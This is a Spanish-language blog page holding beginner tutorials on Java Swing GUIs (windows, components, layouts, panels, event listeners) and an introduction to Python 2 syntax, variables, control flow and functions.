Blog OverSec.cu.cc

Interfaz Grafica en Java [Tercera parte]

2012-10-21T05:29:00.002-07:00

Hola a todos, aqui vamos a hacer la tercera y ultima parte, en donde vamos a ver los eventos que es lo que nos faltaba.

Recuerden mirar si no lo hicieron las primeras dos partes.

Para comenzar vamos a ver lo que son las interfaces, que lo vamos a necesitar para llegar a los eventos.

Interfaz

La interfaz es una clase en donde se especifican los metodos pero sin implementarlos.

Una interfaz se declararia:

interface nombre_interface {
      tipo_retorno nombre_metodo ( lista_argumentos ) ;
      .............................
}

Como por ejemplo:

interface Persona {
      public void caminar(String direccion, int cantidad);
      public void saltar();
      .............................
}

Eventos

Cuando se va a trabajar con eventos tenemos que especificar cuales son los objetos oyentes. Es decir tenemos que crear objetos y hacerlos oyentes de los eventos necesarios, en caso contrario no se podran manejar los eventos.
Hay muchos tipos de Listners:

ActionListner: Eventos de accion (botones)
KeyListner: Teclas del teclado
MouseListner: Clicks en el mouse
MouseMotionListner: Movimientos del mouse
AdjustmentListner: Componente movido, redimensionado.
WindowListner: Eventos de la ventana
Entre otros...

Veamos un simple ejemplo en donde usemos esto para que sea mas facil de entender y luego lo haremos un poco mas interesante.

Vamos a crear una ventana. Sino se acuerdan pueden ver los las primera parte.

import javax.swing.*; // importamos los modulos de Swing

public class Windows extends JFrame { // creamos una clase que hereda de JFrame
 
 Windows() { // constructor
  setTitle("Ventana Nueva"); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
 }  // fin del constructor

} // fin class Windows

Vamos a crear una nueva clase que herede de JButton y que implemente ActionListener, que es una interfaz.
Importaremos primeramente lo que necesitemos.

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

public class unButton extends JButton implements ActionListener {

}

Dentro de dicha clase vamos a crear el constructor en donde le pondremos un texto al button.
Y ademas vamos a sobreescribir un metodo que se va a llamar cuando se ejecute un evento de la interfaz.

Nos quedaria asi entonces:

import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import javax.swing.JButton;

public class unButton extends JButton implements ActionListener {

 unButton() {  // constructor
  super("Boton");
 }
 
 public void actionPerformed(ActionEvent arg0) {  metodo de la interfaz ActionListener
  System.out.printf("Preciosaste el Boton :)");
 }

}

Para finalizar volvemos a la clase de la ventana y vamos a agregar un boton.

unButton button = new unButton(); // instanciamos un boton
button.addActionListener(button); // lo hacemos oyentes de si mismo
add(button); // lo agregamos al JFrame

Lo probamos y?

Nos ha salido un boton medio grande xD
No hemos establecido ningun layout, para el que no se acuerde mire la segunda parte.

Veamos otro ejemplo en donde no vamos a usar la terminal. Sino que vamos a hacer uso de los objetos del JFrame.
En este ejemplo importaremos los modulos necesarios e instanciaremos una clase que herede de JFrame y que implemente la interfaz de ActionListener.
Dentro de ella crearemos un constructor donde le pondremos las configuraciones deseadas a la JFrame y agregaremos un JTextfield, un JButton y un JLabel.
Y mediante un evento haremos que lo que pongamos en el JTextField, al apretar el JButton pase al JLabel. :)

//importamos el modulo necesarios
import java.awt.FlowLayout; 
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; 
import javax.swing.*; 

public class Windows extends JFrame implements ActionListener { // creamos una clase que hereda de JFrame y que implementa la interfaz ActionListener
 JLabel label;
 JTextField texto;
 
 Windows() { // constructor
  setTitle("Ventana Nueva"); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setLayout(new FlowLayout()); // especificamos un layout
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
  
  texto = new JTextField("Introduce el Texto", 20); // instanciamos un objeto JTextField
  JButton button = new JButton(); // instanciamos un objeto JButton
  button.setText("Boton"); // colocamos un texto al boton
  label = new JLabel(); // instanciamos un objeto JLabel
  
  button.addActionListener(this); // configuramos a JFrame oyente del boton
  
  // agregamos los objetos
  add(texto);
  add(button);
  add(label);
  
 }  // fin del constructor

 public void actionPerformed(ActionEvent arg0) {
  label.setText(texto.getText()); // al JLabel le colocamos el texto del JTextField
 }
 
} // fin class Windows

Si notaran al JLabel y al JTextField los declaramos fuera del constructor, y eso fue para que los podamos usar luego en el actionPerformed.

Veamos unas imagenes:

Antes de precionar el boton. Podemos ver los componente, al label no se lo nota pero esta.

Introducimos un texto en el JTextField y presionamos el JButton.

Para terminar veamos un ejemplo en donde vamos a tener que atender a mas de un componente para realizar sus eventos.

Vamos a hacer el mismo caso que el anterior pero agregando un par mas de componentes.

//importamos el modulo necesarios
import java.awt.FlowLayout; 
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener; 
import javax.swing.*; 

public class Windows extends JFrame implements ActionListener { // creamos una clase que hereda de JFrame y que implementa la interfaz ActionListenes
 JLabel label1, label2;
 JTextField texto1, texto2;
 JButton button1, button2;
 
 Windows() { // constructor
  setTitle("Ventana Nueva"); // titulo de la ventana
  setSize(300, 200); // tamaño 
  setLocation(500, 500); // ubicacion
  setVisible(true); // visibilidad
  setLayout(new FlowLayout()); // especificamos un layout
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
  
  texto1 = new JTextField(10); // instanciamos un objeto JTextField
  button1 = new JButton(); // instanciamos un objeto JButton
  button1.setText("Bt1"); // colocamos un texto al boton
  label1 = new JLabel(); // instanciamos un objeto JLabel
  
  texto2 = new JTextField(10); // instanciamos un objeto JTextField
  button2 = new JButton(); // instanciamos un objeto JButton
  button2.setText("Bt2"); // colocamos un texto al boton
  label2 = new JLabel(); // instanciamos un objeto JLabel
  
  button1.addActionListener(this); // configuramos a JFrame oyente del boton
  button2.addActionListener(this); // configuramos a JFrame oyente del boton
  
  // agregamos los objetos
  add(texto1);
  add(button1);
  add(label1);
  add(texto2);
  add(button2);
  add(label2);
  
 }  // fin del constructor

 public void actionPerformed(ActionEvent arg0) {
  
 }
 
} // fin class Windows

El code es exactamente el mismo que en el ejemplo anterior solo con la diferencia que le agregue un comonente mas de cada uno.
Asi nos quedaria:

Ahora tenemos que reescribir el metodo actionPerformed.

public void actionPerformed(ActionEvent arg0) {
 if (arg0.getSource() == button1)
  label1.setText(texto1.getText());
 if (arg0.getSource() == button2) 
  label2.setText(texto2.getText());  
}

Para lograr esto hacemos uso del parametro arg0. Y tambien del metodo getSource, con el cual vamos a poder obtener quien ha disparado el evento.

Y asi nos quedara.

Final :)

Saludos

Interfaz Grafica en Java [Segunda parte]

2012-09-27T10:09:00.000-07:00

Hola a todos. Hoy vamos a seguir con esta segunda parte, en donde vemos primeramente como se pueden organizar los objetos dentro de la ventana. Y si no se hace muy largo veremos tambien los eventos.

Que es un layout?

Es un objeto que determina la posicion de los componentes en una ventana o panel. Es decir, es el encargado de distribuir los espacios. Hay varios tipos de layout y hasta podemos crear nuevos.

Vamos a ver un conjunto de layout con sus caracteristicas.

Para empezar cree una ventana con las configuraciones comunes que vimos en la primera parte.

import javax.swing.JFrame;

public class Windows  extends JFrame  {
 
 Windows() { 
  setTitle("Ventana con Componentes");
  setSize(300, 100);
  setVisible(true);
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
 }
}

Ahora en ese mismo contructor le vamos a agregar algunas lineas mas.

Creamos un Contenedor. En donde vamos a ir poniendo los diferentes componentes.

Container contenedor = getContentPane();

Pero para esto vamos a necesitar importar:

import java.awt.Container;

Border Layout

Este es el que esta por defecto. Para agregar un componente hay que especificarle una de las siguiente posiciones: Norte, Este, Oeste, Sur o Centro.

Creamos algunos componentes:

JLabel label1 = new JLabel("Primer Label");
JButton button1 = new JButton("Primer Button");
JLabel label2 = new JLabel("Segundo Label");
JCheckBox check = new JCheckBox("Primer CheckBox");
JButton button2 = new JButton("Segundo Button");

Y ahora vamos a agregarlos al Contenedor, es aqui donde le vamos a especificar la posicion:

contenedor.add(label1, BorderLayout.NORTH);
contenedor.add(label2, BorderLayout.EAST);
contenedor.add(button2, BorderLayout.WEST);
contenedor.add(button1, BorderLayout.SOUTH);
contenedor.add(check, BorderLayout.CENTER);

Codigo completo del constructor:

Windows() { 
 setTitle("Ventana con Componentes");
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 JLabel label1 = new JLabel("Primer Label");
 JButton button1 = new JButton("Primer Button");
 JLabel label2 = new JLabel("Segundo Label");
 JCheckBox check = new JCheckBox("Primer CheckBox");
 JButton button2 = new JButton("Segundo Button");
  
 contenedor.add(label1, BorderLayout.NORTH);
 contenedor.add(label2, BorderLayout.EAST);
 contenedor.add(button2, BorderLayout.WEST);
 contenedor.add(button1, BorderLayout.SOUTH);
 contenedor.add(check, BorderLayout.CENTER);
}

Box Layout

En este modo, los componentes intentan ocupar el menor espacion que puedan.

Para utilizarlo hay que crear un BoxLayout primero:

BoxLayout box = new BoxLayout(contenedor, BoxLayout.Y_AXIS);

Estamos creando una instancia de un BoxLayout llamado box. Entre los parentesis van dos parametros, el primero es el contenedor al que le vamos a aplicar el layout y el segundo es la distribucion que van a tomar los componentes. En este caso es BoxLayout.Y_AXIS, donde se ordenan verticalmente, pero tambien podria haber sido BoxLayout.X_AXIS en donde se organizarian horizontalmente.

Ahora le decimos al contenedor que utilice ese layout:

contenedor.setLayout(box);

Utilizando los mismo componente que en el caso anterior.

JLabel label1 = new JLabel("Primer Label");
JButton button1 = new JButton("Primer Button");
JLabel label2 = new JLabel("Segundo Label");
JCheckBox check = new JCheckBox("Primer CheckBox");
JButton button2 = new JButton("Segundo Button");

Para terminar se los agregamos al contenedor:

contenedor.add(label1);
contenedor.add(button1);
contenedor.add(label2);
contenedor.add(check);
contenedor.add(button2);

Y el resultado es:

Codigo completo del constructor:

Windows() { 
 setTitle("Ventana con Componentes");
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 BoxLayout box = new BoxLayout(contenedor, BoxLayout.Y_AXIS);
 contenedor.setLayout(box);
  
 JLabel label1 = new JLabel("Primer Label");
 JButton button1 = new JButton("Primer Button");
 JLabel label2 = new JLabel("Segundo Label");
 JCheckBox check = new JCheckBox("Primer CheckBox");
 JButton button2 = new JButton("Segundo Button");
  
 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}

Flow Layout

Este Layout va agregando los componentes en el espacio que tiene disponible.

Creamos la instancia del FlowLayout y se la asignamos al contenedor:
Pero primero vamos a necesitar importar:

import java.awt.FlowLayout;

FlowLayout flow = new FlowLayout();
contenedor.setLayout(flow);

Creamos los componentes y los agregamos al Conteiner:

JLabel label1 = new JLabel("Primer Label");
JButton button1 = new JButton("Primer Button");
JLabel label2 = new JLabel("Segundo Label");
JCheckBox check = new JCheckBox("Primer CheckBox");
JButton button2 = new JButton("Segundo Button");
  
contenedor.add(label1);
contenedor.add(button1);
contenedor.add(label2);
contenedor.add(check);
contenedor.add(button2);

Obteniendo:

Codigo completo del constructor:

Windows() { 
 setTitle("Ventana con Componentes");
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();

 FlowLayout flow = new FlowLayout();
 contenedor.setLayout(flow);
  
 JLabel label1 = new JLabel("Primer Label");
 JButton button1 = new JButton("Primer Button");
 JLabel label2 = new JLabel("Segundo Label");
 JCheckBox check = new JCheckBox("Primer CheckBox");
 JButton button2 = new JButton("Segundo Button");

 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}

Grid Layout

En este caso los componentes se ordenan haciendo uso de tablas.

Instanciamos el GridLayout, en donde le pasamos como parametros las filas y columnas.
Y se lo asignamos al contenedor.

GridLayout grid = new GridLayout(3,2);
contenedor.setLayout(grid);

En nuestro caso usaremos 3 filas y 2 columnas.
Ademas necesitamos importar:

import java.awt.GridLayout;

Agregamos los componentes al contenedor.
Y nos quedara:

Codigo completo del constructor:

Windows() { 
 setTitle("Ventana con Componentes");
 setSize(300, 100);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
 Container contenedor = getContentPane();
  
 GridLayout grid = new GridLayout(3,2);
 contenedor.setLayout(grid);
  
 JLabel label1 = new JLabel("Primer Label");
 JButton button1 = new JButton("Primer Button");
 JLabel label2 = new JLabel("Segundo Label");
 JCheckBox check = new JCheckBox("Primer CheckBox");
 JButton button2 = new JButton("Segundo Button");
  
 contenedor.add(label1);
 contenedor.add(button1);
 contenedor.add(label2);
 contenedor.add(check);
 contenedor.add(button2);
}

Paneles

Para finalizar vamos a ver como implementar paneles y que nos va a servir mucho tambien para la organizacion de los componentes dentro de la ventana.

Para comenzar vamos a crear una ventana comun como hemos hecho anteriormente. Al cual le agregaremos ya un Container.

import java.awt.Container;
import javax.swing.*;

public class Windows extends JFrame {
 
 Windows() { 
  setTitle("Ventana con Componentes");
  setSize(300, 300);
  setVisible(true);
  setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
  
  Container contenedor = getContentPane();
 }
}

Ahora voy a crear una nueva clase llamada Panel que herede de JPanel. Y le agregare un Constructor en donde le cambio el color de fondo para que se note luego en la imagen.

import java.awt.Color;

public class Panel extends JPanel{    // Clase Panel heredada de JPanel
 
 Panel(){    // Constructor
  setBackground(Color.BLUE);    // Color de fondo
 }

}

Volvemos al constructor de la ventana, creamos una instancia de la clase Panel y se la agregamos al contenedor.

Panel panel = new Panel();   // instanciamos un objeto Panel
contenedor.add(panel);   // lo agregamos al contenedor

Si notamos en la imagen vemos al panel por el color de fondo Azul que ocupa todo la ventana.

Y podemos agregarle componentes al Panel desde su contructor.

JLabel label = new JLabel("Primer Label");
JButton button = new JButton("Primer Button");
  
add(label);
add(button);

Ahora ustedes se preguntaran, para que hacer todo esto de crear un Panel si podemos agregar los componentes en el mismo contenedor.

La ventanja es que por ejemplo en el contenedor de la ventana podemos ponerle un Layout Grid y en lo que seria cada celda ponerle un panel distinto.

Vamos a crear una ventana en donde le agregaremos un contenedor con un GridLayout de 3 filas y 1 columna.

Contructor:

Windows() { 
 setTitle("Ventana con Componentes");
 setSize(300, 300);
 setVisible(true);
 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
 
 Container contenedor = getContentPane(); // contenedor de la ventana
 GridLayout grid = new GridLayout(3,1);  // instanciamos un objeto GridLayout
 contenedor.setLayout(grid);   // se lo agregamos al contenedor
}

Y vamos a crea dos clases:

Una para un panel llamada PanelUno que herede de JPanel y cuyo color de fondo va a ser Cyan.

import java.awt.Color;
import javax.swing.JPanel;

public class PanelUno extends JPanel{
 
 PanelUno() {
  setBackground(Color.CYAN);
 }
}

La segunda clase para otro panel llamada PanelDos que herede de JPanel y cuyo color de fondo sea Green.

import java.awt.Color;
import javax.swing.JPanel;

public class PanelDos extends JPanel{
 
 PanelDos() {
  setBackground(Color.GREEN);
 }
 
}

Volvemos al constructor de la ventana y le agregamos los dos paneles al Layout.

PanelUno panel1 = new PanelUno(); // instanciamos un objeto de PanelUno
PanelDos panel2 = new PanelDos(); // instanciamos un objeto de PanelDos
  
// agregamos los paneles al contenedor
contenedor.add(panel1); 
contenedor.add(panel2);

Mirando los colores podemos apreciar la ubicacion de cada panel. Y hay una tercer celda en donde no esta en uso.

Y como un Panel es un como un contendor, le podemos asignar un Layout.

Al PanelUno le vamos a poner un GridLayout.

GridLayout grid = new GridLayout(2,2);
setLayout(grid);

Al [B]PanelDos[/B] le vamos a poner un [B]FlowLayout[/B].

FlowLayout flow = new FlowLayout();
setLayout(flow);

Para terminar la demostracion le agregamos unos componentes para ver la diferenciacion.

JLabel label1 = new JLabel("Label1");
JLabel label2 = new JLabel("Label2");
JButton button1 = new JButton("Button1");
JButton button2 = new JButton("Button2");
  
add(label1);
add(label2);
add(button1);
add(button2);

Quedandonos:

Como podran ver la organizacion de los componentes es distintas gracias a poder ponerle un layout distinto a cada panel.

:) Bueno espero que les sirva.

Saludos

Tutorial de Introduccion a Python

2012-09-23T14:12:00.000-07:00

Python es un lenguaje de programación de alto nivel cuya filosofía hace hincapié en una sintaxis muy limpia y que favorezca un código legible.

Se trata de un lenguaje de programación multiparadigma ya que soporta orientación a objetos, programación imperativa y, en menor medida, programación funcional. Es un lenguaje interpretado, usa tipado dinámico, es fuertemente tipado y multiplataforma.

Bueno Empecemos, y lo vamos a hacer de la forma tipica, enseñando el primer programa en Python :)

El clasico Hola Mundo ;)

Abran algun editor de texto y copien el siguiente codigo:

#!/usr/bin/python
print “Hola Mundo”
raw_input()

La primer linea es utilizada en UNIX, y sirve para especificarle al sistema operativo cual va a ser el interprete, especificado despues de #!.
La segunda linea lo que hace es imprimir lo que esta entre comillas en pantalla.
Y la seguira mostrando hasta que se presione una tecla, Debido a raw_input(), que espera una tecla por teclado.

Guardamos con extension .py.
Abrimos una terminal y ponemos: python Nombre_Programa.py

Y nos saldra algo asi:

Invocando al interprete de Python

Para descargar e instalar puedes ingresar a http://www.python.org/download/

Si trabajamos con una maquina con alguna distribucion de Linux, abrimos una termina e ingresamos el comando:

Python

Luego de unos segundo nos va a aparecer un mensaje de bienvenida reportando su numero de version y una nota de copyright. Seguido del prompt primario (>>>), que nos indica que el interprete esta esperando codigo del usuario.

Para salir podemos escribir exit() o apretar Control + D.

Modo Interactivo

Existen dos formas de ejecutar código Python. Podemos escribir líneas de código en el intérprete y obtener una respuesta del intérprete para cada línea (sesión interactiva) o bien podemos escribir el código de un programa en un archivo de texto y ejecutarlo.

Codificacion del codigo fuente

Es posible utilizar una codificacion distinta a ASCII en el codigo fuente de Pyrhon, la mejor forma de hacerlo es poner un comentario especial enseguida despues de la linea con #! para definir la codificacion:

# -*- coding: enconding -*-

Con esa declaracion, todos los caracteres en el archivo serasn traducidos utilizando la codificacion encoding.

Comentarios

Los comentarios comienzan con el caracter numeral, #, y se extiende hasta el final fisico de la linea.
Ejemplos:

# Comentario numero uno
SPAM = 1                        # Comentario numero dos
                     # Comentario numero tres

Algunas notas finales

La agrupacion de instrucciones se hace por sangria en vez de llaves de apretura y cierre.

#! /usr/bin/env python
# -*- coding: utf-8 -*-

n = int(raw_input("¿Valor tope da serie? "))
print " Serie de Fibonacci "

a, b = 0, 1

while b <= n:
    print b
    a, b = b, a + b

Aqui tenemos un simple programa en donde se implementa la Serie de Fibonacci, donde podemos ver la agrupacion por sangria.

No es necesario declarar variables ni argumentos.

Variables

Como ya dijimos en la segunda parte, las variables no son necesario que se declaren pero lo que si hay que hacer es asignarle un valor inicial, sino dara error.

Para asignarle un valor se utiliza el signo =
La operacion se puede hacer individualmente, hacerla en conjunto a un mismo valor o hacer varias asignaciones al mismo tiempo pero a diferentes valores.
Veamos unos ejemplos:

#Asignacion individual de un numero
i = 10

#Asignacion individual de una cadena de caracteres
nombre = "Expermicid"

#Asignacion conjunta a un mismo valor
a = b = c = 200

#Asignacion conjunta a diferentes valores
x, z = 25, 30

Existe varios tipos de variables, entre ellas estan:

Numeros
Cadenas de Caracteres
Booleanos
Listas

Para averiguar el tipo de una variable se puede usar el comando:

type(nombre_variable)

Ahora vamos a ver cada tipo por separado.

[+] Variable numerica

Las variables numericas soportan Enteros, Reales y Complejos.
Los Enteros son aquellos numeros que no poseen decimales. En Python se pueden representar mediante el tipo Int y mediante el tipo Long. La unica diferencia es que uno de ellos (Long) puede almacenar numeros mas grande.

#Asignacion de un tipo 'Int'
Entero = 20

#Asignacion de un tipo 'Long'
Entero = 53L

Como veran para asignar un tipo Long, hay que agregarle una L al final del numero. Veamoslo en una imagen:

Tambien es posible representar los valores en Octal, poniendole un cero adelante.

#Asignacion de un numero en Octal
o = 040

... y en Hexa de la siguiente forma:

#Asignacion de un numero en Hexadecimal
h = 0x10

Los numeros Reales son los que tienen decimales. En Python se representan mediante el tipo Float
La forma de hacerlo es la siguiente:

#Asignaciones de numeros de tipo Float

a = 0.24

b = 75.58

Tambien es posible utilizar notacion cientifica, añadiendole una e (de exponencial) mas un numero correspondiente al exponente.

#Asignacion de numeros con notacion cientifica

a = 2e10

b = 3e-2

Y por ultimo, los numeros Complejos son aquellos que poseen una parte real y otra imaginaria.

En Python se representa asi:

#Asignacion de un numero complejo
c = 2 + 3j

Operaciones aritmeticas entre las variables numericas

Veamos ejemplos de las operaciones aritmeticas:

#Suma
a = 5 + 20

#Resta
b = 30 - 10

#Multiplicacion
c = 20 * 2

#Division
d = 9 / 3

#Division Entera
de = 8 // 3

#Exponente
e = 2 ** 2

#Modulo
m = 7 % 2

Notar que esas operaciones se pueden realizar entre todos los tipos antes mencionados.
Y tambien se pueden hacer operaciones entre varables mismas.

[+] Cadenas de Caracteres

Las cadenas de caracteres pueden estar encerradas entre comiilas dobles (") o comillas simples (').

#Asignacion de cadenas

a = "Primera"

b = 'Segunda'

Una cadena puede estar precedida por una por una u o por una r, que significan, respectivamente, que se trata de una cadena en codificacion Unicode o una cadena cruda.

unicode = u”äóè”
raw = r”\n”

Dentro de las Comillas pueden existir caracteres epeciales:

\n = Salto de linea
\t = tabulador
\\ = \
\" = "
\' = '

O podemos utilizar 3 comillas (simples o dobles) y podemos escribir el texto en varias lineas, respetandose los saltos de linea y demas.

Algunas operaciones entre cadenas

#Concatenacion
a = "Primera"
b = "Segunda"
concat = a + b    #nos devolvera la concatenacion de a y b

#Contencion
a = "Palabra"
b = "ala"
contencion = b in a  #nos devolvera un valor booleano

#Longitud
a = "cantidad"
log = len(a)   #nos devolvera un valor numerico = a la longitud de a

#Repeticion de una cadena
a = "Hola"
b = a * 3    #nos devolvera la cadena a repetida 3 veces

#Subcadenas
a = "Cadena Grande"
b = a [1:3]    #nos devolvera subcadena en este caso ad

[+] Variable booleanas

Como todos sabran los booleanos son los valores True y False.

Y sus operadores mas usuales son:

and = conjuncion
or = disjuncion
not = negacion

[+] Listas

Las listas son listas donde se pueden almacenar valores de cualquier tipo. Se accede a un elemento de ella de la misma forma que en las cadenas.

lista[inicio : fin]

lista[posicion]

Una forma sencilla de constriur una lista de numeros es con range.

Que funciona de la siguiente forma:

a = range(1,10)    # a se formaria con la lista [1, 2, 3, 4, 5, 6, 7, 8, 9]

Control de Flujo

Sentencias condicionales

[+] If

La forma mas simple de un condicional es la sentencia if.

Veamos un ejemplo:

#Sintaxis de la sentencia IF
Numero = 10

if Numero > 0 :
      print "El numero es positivo"

if Numero < 0 :
      print "El numero es negativo"

Bueno, use dos if por separado.
La sintaxis de muy simple.

Se pone la palabra If, seguido de la condicion a evaluar y por ultimo dos puntos (:).
Y a partir de esa linea usando sangria van las lineas que se tienen que ejecutar si la condicion es valida.

Nunca se olviden de la sangria. Sino Python interpretara otra cosa.

[+] If ... Else

Esta opcion se usa para sintetizar un poco casos como el ejemplo anterior.
Que si se cumple la condicion hace algo y si no se cumple hace otra cosa.
Y traduciriamos esos dos if con uno solo, veamoslo:

#Sintaxis de la sentencia IF ... ELSE
Numero = 10

if Numero > 0 :
      print "El numero es positivo"
else :
      print "El numero es negativo"

[+] If ... elif ... elif ... else

Bien esta es otra variante.

#Sintaxis de la sentencia IF ... ELIF ... ELIF ... ELSE
Numero = 10

if Numero > 0 :
      print "El numero es positivo"
elif Numero < 0:
      print "El numero es negativo"
else :
      print "El numero es 0"

En este caso primero se evalua la condicion del if, si es cierta se ejecuta su codigo y sale; si no se cumpla se evalua la condicion del elif siguiente, y nuevamente si es cierto se ejecuta su codigo y sale; y si no sigue con lo siguientes elif. Cuando se hayan evaluado todos los elif y ninguno haya sido cierto se evalua la condicion del else.

[+] A if C else B

Esta es otra variante, y lo que hace es evaluar C, si se cumple devuelve A, en caso contrario devuelve B

# Sintaxis de la sentencia A if C else B
var = “par” if (num % 2 == 0) else “impar”

Bucles

Mientras que los condicionales nos permiten ejecutar distintos fragmentos de código dependiendo de ciertas condiciones, los bucles nos permiten ejecutar un mismo fragmento de código un cierto número de veces, mientras se cumpla una determinada condición.

[+] While

La sentencia While ejecuta su codigo mientras se cumpla la condicion.

#Sintaxis sentencia While
Cont = 0
while Cont < 10 :
        Print "Cont es igual a " + str(Cont)
        Cont = Cont + 1

Veamos el resultado de este ultimo en la consola:

Como se ve en la imagen el ciclo se siguio ejecutando hasta que la variable Cont supero el numero 9, es decir cuando llego a 10 la condicion ya no fue cierto y por ende no se ejecuto mas.

[+] For ... In

En Python for se utiliza como una forma genérica de iterar sobre una secuencia.

Un ejemplo basico seria:

#Sintaxis sentencia for ... in
valores = ["uno", "dos", "tres", "cuatro", "cinco"]
for elemento in valores :
        print elemento

Como se aprecia en la imagen veran que la varible elemento fue 'iterando' sobre los valores de la lista valores y ejecuta el codigo correspondiente.

Funciones

Definicion:

Quote:

Una función es un fragmento de código con un nombre asociado que realiza una serie de tareas y devuelve un valor. A los fragmentos de código que tienen un nombre asociado y no devuelven valores se les suele llamar procedimientos. En Python no existen los procedimientos, ya que cuando el programador no especifica un valor de retorno la función devuelve el valor None (nada)

Dos ventajas de la utilizacion de funciones son:

1- Ayudan a programar y depurar el programa dividiendolo en partes.
2- Permite la reutilizacion de codigo.

Declaracion:

En python las funcion se declaran de la siguiente forma:

def NombreFuncion(param1, param2, ...., paramN)
        #Codigo a ejecutar

Es decir, se utiliza la palabra reservada def, seguido del nombre de la funcion y la lista de los parametros entre parentesis separados por comas.
Las sentencias que forman el cuerpo de la funcion empiezan en la linea siguiente, y deben estar con sangria.

La primer sentencia del cuerpo de la funcion puede ser opcionalmente na cadena de texto literal; esta es la cadena de texto de documentacion de la funcion, o docstring.

Veamos un simple ejemplo:

En la imagen podemos apreciar la definicion de una funcion que genera una lista con la lista de Fibonacci hasta un cierto valor pasado como parametro.
Las funciones para devolver el resultado se utiliza la palabra reservada return, seguido de el valor o la variable que contiene el valor a devolver.

El numero de valores que se pasan como parametros al llamar a la funcion tiene que coincidir con el numero de parametros que la funcion acepta segun la declaracion de la funcion. En caso contrario python dara error.

Y esto es todo.

Saludos

Interfaz Grafica en Java [Primera parte]

2012-09-17T21:08:00.000-07:00

Hola a todos. Debido a que tengo que aprenderme java para la facultad, pero aprenderlo por mi parte para rendir una equivalencia y no en el trasncurso de algun cuatrimestre. Empece hace unos dias a leer un libro de java desde cero.

Pero vine a compartirles con ustedes en una o dos partes de Interfaz Grafica. Dependiendo de que tan largo se haga xD

Introduccion

En java, los programas basados en GUI se implementan con el uso de las clases provenientes de los paquetes estándar javax.swing y java.awt.
Generalmente se prefiere utilizar las clases Swing por ser de peso ligero sobre las clases AWT.

Ventanas

Yo voy a hacer uso de Eclipse para hacer los ejemplos. Ustedes pueden usar el que mejor les parezca.

Para crear la ventana vamos a usar una clase que llamaremos Windows que herede de JFrame. Pero para ello vamos a necesitar importar los modulos de Swing.

import javax.swing.*; // importamos los modulos de Swing

public class Windows extends JFrame { // creamos una clase que hereda de JFrame

}

Dentro de esta clase vamos a utilizar un contructor para configurar las caracteristicas que uno quiera. Yo voy a poner las mas comunes.

Windows() { // constructor
setTitle("Ventana Nueva"); // titulo de la ventana
setSize(300, 200); // tamaño
setLocation(500, 500); // ubicacion
setVisible(true); // visibilidad, por defecto viene False, por ende necesitamos cambiarlo a true

setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); // terminamos la aplicacion al cerrar la ventana
}

Ya tenemos creada la ventana a gusto. Ahora en el metodo Main vamos a instanciar un objeto de la clase recien creada, al cual llamamos [B]vent[/B].

public static void main( String[] args) {
Windows vent = new Windows();
}

Ejecutamos y ...

ya podemos ver nuestra ventana creada con las caracteristicas elegidas. :)

Componentes Basicos

Creamos una ventana como la anterior, pero en el contructor agregamos...

Label

Instanciamos un objeto de JLabel.

JLabel label = new JLabel(); // instanciamos un objeto de JLabel
label.setText("Primer Label"); // le agregamos un texto
add(label); // lo agregamos a la ventana

Por ahora agregaremos los componentes directamente en la ventana, mas adelante veremos como podemos reordenarlos.

Button

Instanciamos un objeto de JButton.

JButton button = new JButton(); // instanciamos un objeto de JLabel
button.setText("Primer Boton"); // le agregamos un texto
add(button); // lo agregamos a la ventana

TextEdit

Instanciamos un objeto de JTextField.

JTextField text = new JTextField( "Introduzca el texto", 30 ); // tamaño y texto predeterminado
text.setEditable( true ); // habilitar el textedit
add(text); // lo agregamos a la ventana

La linea del setEditable lo puse a proposito como para que conozcan otro atributo que pueden cambiar.

Combobox

Instanciamos un objeto de JComboBox.

JComboBox combo = new JComboBox(); // instanciamos un objeto de JComboBox
combo.addItem("PrimerElemento"); // agregamos un primer elemento
combo.addItem("SegundoElemento"); // agregamos un segundo elemento
combo.addItem("TercerElemento"); // agregamos un tercer elemento
add(combo); // lo agregamos a la ventana

RadioButton

Instanciamos un objeto de JRadioButton.

JRadioButton radio = new JRadioButton( "Primer Radio Button", true ); // instanciamos un objeto de JRadioButton
add(radio); // lo agregamos a la ventana

El contructor del radiobutton recibe un string como texto del componente y un valor booleano que determina si esta seleccionado o no.
Ademas si los Radiobutton estas agrupados, por medio de la clase [B]ButtonGroup[/B], solo puede seleccionarse uno a la vez.

CheckBox

Instanciamos un objeto de JCheckBox.

Este componente tambien recibe un string como texto del componente y un valor booleano que determina si esta seleccionado o no.

JCheckBox check = new JCheckBox( "Primer CheckBox" , true ); // instanciamos un objeto de JCheckBox
add(check); // lo agregamos a la ventana

ListBox

Instanciamos un objeto de JList.

String options[] = {"Option 1","Option 2" ,"Option N"}; // lista de elementos
JList list = new JList(options); // instanciamos un objeto de JList
add(list); // lo agregamos a la ventana

Y hay muchos mas componentes. Como puede ser:

JScrollBar
JSlider
JProgressBar
JPasswordField
JTextArea
JMenuBar
JMenu
